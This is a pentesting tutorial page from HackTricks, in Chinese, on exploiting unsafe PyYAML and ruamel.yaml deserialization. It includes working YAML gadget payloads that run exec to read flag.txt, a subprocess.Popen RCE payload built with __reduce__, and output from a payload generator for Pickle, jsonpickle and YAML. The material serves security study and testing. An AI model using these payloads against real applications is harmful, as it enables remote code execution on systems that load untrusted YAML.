hacktricks/src/pentesting-web/deserialization/python-yaml-deserialization.md

144 lines
5.2 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Python Yaml 反序列化
{{#include ../../banners/hacktricks-training.md}}
## Yaml **反序列化**
**Yaml** python 库也能够 **序列化 python 对象** 而不仅仅是原始数据:
```
print(yaml.dump(str("lol")))
lol
...
print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l
print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1
```
检查一下 **tuple** 不是原始数据类型,因此它被 **序列化** 了。 **range** 也是如此(取自内置函数)。
![](<../../images/image (1040).png>)
**safe_load()****safe_load_all()** 使用 SafeLoader并且 **不支持类对象反序列化**。 类对象反序列化示例:
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'
print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object
```
之前的代码使用 **unsafe_load** 来加载序列化的 python 类。这是因为在 **version >= 5.1** 中,它不允许 **反序列化任何序列化的 python 类或类属性**,如果在 load() 中未指定 Loader 或 Loader=SafeLoader。
### 基本利用
如何 **执行一个 sleep** 的示例:
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))
```
### 漏洞 .load("\<content>") 没有 Loader
**旧版本**的 pyyaml 在加载内容时如果**没有指定 Loader**,则容易受到反序列化攻击:`yaml.load(data)`
您可以在[**此处找到漏洞的描述**](https://hackmd.io/@defund/HJZajCVlP)**.** 页面中提出的**利用**是:
```yaml
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec
```
或者你也可以使用这个 **@ishaack 提供的单行代码**
```yaml
!!python/object/new:str {
state:
!!python/tuple [
'print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))',
!!python/object/new:Warning { state: { update: !!python/name:exec } },
],
}
```
请注意,在**最近的版本**中,您不能**再调用 `.load()`** **而不使用 `Loader`**,并且**`FullLoader`** **不再易受此攻击**
## RCE
可以使用 Python YAML 模块,如 **PyYAML****ruamel.yaml**,创建自定义有效负载。这些有效负载可以利用在没有适当清理的情况下反序列化不受信任输入的系统中的漏洞。
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess
class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))
deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)
#!!python/object/apply:subprocess.Popen
#- ls
print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))
```
### 创建有效负载的工具
该工具 [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) 可用于生成 python 反序列化有效负载,以滥用 **Pickle, PyYAML, jsonpickle 和 ruamel.yaml:**
```bash
python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!
cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}
cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==
cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt
```
### 参考文献
- [https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
- [https://net-square.com/yaml-deserialization-attack-in-python.html](https://net-square.com/yaml-deserialization-attack-in-python.html)
{{#include ../../banners/hacktricks-training.md}}